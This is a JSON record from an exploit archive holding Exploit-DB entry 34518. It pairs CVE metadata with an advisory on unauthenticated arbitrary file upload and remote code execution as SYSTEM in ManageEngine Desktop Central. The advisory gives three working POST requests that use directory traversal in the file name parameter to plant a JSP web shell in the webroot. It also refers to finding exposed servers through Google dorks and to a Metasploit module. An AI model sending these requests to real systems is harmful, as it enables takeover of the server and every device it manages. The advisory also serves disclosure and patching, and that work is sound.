{"exploit":{"id":"EDB-34518","name":"ManageEngine Desktop Central - Arbitrary File Upload / Remote Code Execution (RCE)","description":"ManageEngine Desktop Central - Arbitrary File Upload / Remote Code Execution (RCE)","cves":["CVE-2014-5007","CVE-2014-5006","CVE-2014-5005","CVE-2013-7390"],"author":"Pedro Ribeiro","published":"2014-09-01","platform":"jsp","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/34518","path":"exploits/jsp/webapps/34518.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-34518.txt","vulnerabilities":[{"id":"CVE-2014-5007","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in the agentLogUploader servlet in ZOHO ManageEngine Desktop Central (DC) and Desktop Central Managed Service Providers (MSP) edition before 9 build 90055 allows remote attackers to write to and execute arbitrary files as SYSTEM via a .. (dot dot) in the filename parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5007","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5007"},"updatedAt":"2024-08-06T11:34:37.162Z","retrievedAt":"2026-11-27T09:07:23.353Z","stale":false,"error":null},{"id":"CVE-2014-5006","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in ZOHO ManageEngine Desktop Central (DC) before 9 build 90055 allows remote attackers to execute arbitrary code via a .. (dot dot) in the fileName parameter to mdm/mdmLogUploader.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5006","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5006"},"updatedAt":"2024-08-06T11:34:37.425Z","retrievedAt":"2026-11-27T09:07:30.027Z","stale":false,"error":null},{"id":"CVE-2014-5005","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in ZOHO ManageEngine Desktop Central (DC) before 9 build 90055 allows remote attackers to execute arbitrary code via a .. (dot dot) in the fileName parameter in an LFU action to statusUpdate.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5005","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5005"},"updatedAt":"2024-08-06T11:34:37.485Z","retrievedAt":"2026-11-27T09:26:02.070Z","stale":false,"error":null},{"id":"CVE-2013-7390","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in AgentLogUploadServlet in ManageEngine DesktopCentral 7.x and 8.0.0 before build 80293 allows remote attackers to execute arbitrary code by uploading a file with a jsp extension, then accessing it via a direct request to the file in the webroot.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-7390","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-7390"},"updatedAt":"2024-08-06T18:09:16.314Z","retrievedAt":"2026-11-27T09:25:52.408Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-34518.png?v=2","url":"https://exploitbin.com/exploits/EDB-34518","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-34518/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-34518/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Arbitrary file upload / remote code execution in ManageEngine Desktop Central / Desktop Central MSP\nDiscovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security\n=================================================================================\n\nBackground on the affected product:\n\"Desktop Central is an integrated desktop & mobile device management\nsoftware that helps in managing the servers, laptops, desktops,\nsmartphones and tablets from a central point. It automates your\nregular desktop management routines like installing patches,\ndistributing software, managing your IT Assets, managing software\nlicenses, monitoring software usage statistics, managing USB device\nusage, taking control of remote desktops, and more.\"\n\nThere are several vulnerable servers are out there if you know the\nGoogle dorks. Quoting the author of the Internet Census 2012: \"As a\nrule of thumb, if you believe that \"nobody would connect that to the\nInternet, really nobody\", there are at least 1000 people who did.\"\nThese vulnerabilities can be abused to achieve remote code execution\nas SYSTEM in Windows. I've updated the desktopcentral_file_upload\nMetasploit module to use the new statusUpdate technique. Needless to\nsay, owning a Desktop Central box will give you control of all the\ncomputers and smartphones it manages.\n\nTechnical details:\n#1\nVulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)\nConstraints: none; no authentication or any other information needed\n\na)\nCVE-2014-5005\nAffected versions: all versions from v7 to v9 build 90054\nFix: Upgrade to DC v9 build 90055\nPOST /statusUpdate?actionToCall=LFU&customerId=1337&fileName=../../../../../../shell.jsp&configDataID=1\n<... your favourite jsp shell here ...>\n\nb)\nCVE-2014-5006\nAffected versions: all versions from v8 to v9 build 90054\nFix: Upgrade to DC v9 build 90055\nPOST /mdm/mdmLogUploader?filename=..\\\\..\\\\..\\webapps\\\\DesktopCentral\\\\shell.jsp\n<... your favourite jsp shell here ...>\n\n\n#2\nCVE-2014-5007\nVulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)\nConstraints: no authentication needed; need to know valid\ncomputerName, domainName and customerId\nAffected versions: all versions from v7 to v9 build 90054\nFix: Upgrade to DC v9 build 90055\nNotes: This was previously discovered as CVE-2013-7390 / OSVDB-10008\nby Thomas Hibbert, and was \"fixed\" in 2013-11-09. The fix is\nincomplete and it is still possible to upload a shell with a valid\ncomputerName, domainName and customerId.\n\nPOST /agentLogUploader?computerName=whatever1&domainName=whatever2&customerId=1337&filename=..\\\\..\\\\..\\\\..\\\\webapps\\\\DesktopCentral\\\\shell.jsp\n<... your favourite jsp shell here ...>","sha256":"de559d7d998e67f77f5e026c542ea8eca3dbaa8cf14c7e0b77544f394cf05b40","bytes":2688,"fetchedAt":"2026-11-27T09:07:23.166Z","encoding":"utf-8 (display only; download retains original bytes)"}